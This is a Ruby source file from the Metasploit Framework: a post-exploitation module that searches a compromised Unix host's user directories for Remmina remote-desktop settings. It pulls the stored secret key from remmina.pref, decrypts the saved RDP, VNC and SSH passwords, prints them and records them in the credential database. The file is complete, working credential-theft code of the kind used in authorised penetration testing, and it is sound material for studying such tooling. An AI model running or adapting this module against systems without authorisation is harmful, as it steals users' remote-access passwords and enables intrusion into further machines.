metasploit-framework/modules/post/multi/gather/remmina_creds.rb

185 lines
5.2 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(update_info(
info,
'Name' => 'UNIX Gather Remmina Credentials',
'Description' => %q(
Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
stored in (relatively) plain text in a file that must be properly protected.
),
'License' => MSF_LICENSE,
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
'Platform' => %w(bsd linux osx unix),
'SessionTypes' => %w(shell meterpreter)
))
end
def run
creds = extract_all_creds
creds.uniq!
if creds.empty?
vprint_status('No Reminna credentials collected')
else
vprint_good("Collected #{creds.size} sets of Remmina credentials")
cred_table = Rex::Text::Table.new(
'Header' => 'Remmina Credentials',
'Indent' => 1,
'Columns' => %w(Host Port Service User Password)
)
creds.each do |cred|
cred_table << cred
report_credential(cred[3], cred[4])
end
print_line(cred_table.to_s)
end
end
def decrypt(secret, data)
c = OpenSSL::Cipher.new('des3')
key_data = Base64.decode64(secret)
# the key is the first 24 bytes of the secret
c.key = key_data[0, 24]
# the IV is the last 8 bytes of the secret
c.iv = key_data[24, 8]
# passwords less than 16 characters are padded with nulls
c.padding = 0
c.decrypt
p = c.update(Base64.decode64(data))
p << c.final
# trim null-padded, < 16 character passwords
p.gsub(/\x00*$/, '')
end
# Extracts all remmina creds found anywhere on the target
def extract_all_creds
creds = []
user_dirs = enum_user_directories
if user_dirs.empty?
print_error('No user directories found')
return creds
end
vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
# walk through each user directory
enum_user_directories.each do |user_dir|
remmina_dir = ::File.join(user_dir, '.remmina')
pref_file = ::File.join(remmina_dir, 'remmina.pref')
next unless file?(pref_file)
remmina_prefs = get_settings(pref_file)
next if remmina_prefs.empty?
if (secret = remmina_prefs['secret'])
vprint_status("Extracted secret #{secret} from #{pref_file}")
else
print_error("No Remmina secret key found in #{pref_file}")
next
end
# look for any \d+\.remmina files which contain the creds
cred_files = dir(remmina_dir).map do |entry|
::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
end
cred_files.compact!
if cred_files.empty?
vprint_status("No Remmina credential files in #{remmina_dir}")
else
creds |= extract_creds(secret, cred_files)
end
end
creds
end
def extract_creds(secret, files)
creds = []
files.each do |file|
settings = get_settings(file)
next if settings.empty?
# get protocol, host, user
proto = settings['protocol']
host = settings['server']
case proto
when 'RDP'
port = 3389
user = settings['username']
when 'VNC'
port = 5900
domain = settings['domain']
if domain.blank?
user = settings['username']
else
user = domain + '\\' + settings['username']
end
when 'SFTP', 'SSH'
# XXX: in my testing, the box to save SSH passwords was disabled
# so this may never work
user = settings['ssh_username']
port = 22
else
print_error("Unsupported protocol: #{proto}")
next
end
# get the password
encrypted_password = settings['password']
password = nil
unless encrypted_password.blank?
password = decrypt(secret, encrypted_password)
end
if host && user && password
creds << [ host, port, proto.downcase, user, password ]
else
missing = []
missing << 'host' unless host
missing << 'user' unless user
missing << 'password' unless password
vprint_error("No #{missing.join(',')} in #{file}")
end
end
creds
end
# Reads key=value pairs from the specified file, returning them as a Hash of key => value
def get_settings(file)
settings = {}
read_file(file).split("\n").each do |line|
if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
settings[setting] = value
end
end
vprint_error("No settings found in #{file}") if settings.empty?
settings
end
def report_credential(user, pass)
credential_data = {
workspace_id: myworkspace_id,
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
username: user,
private_data: pass,
private_type: :password
}
create_credential(credential_data)
end
end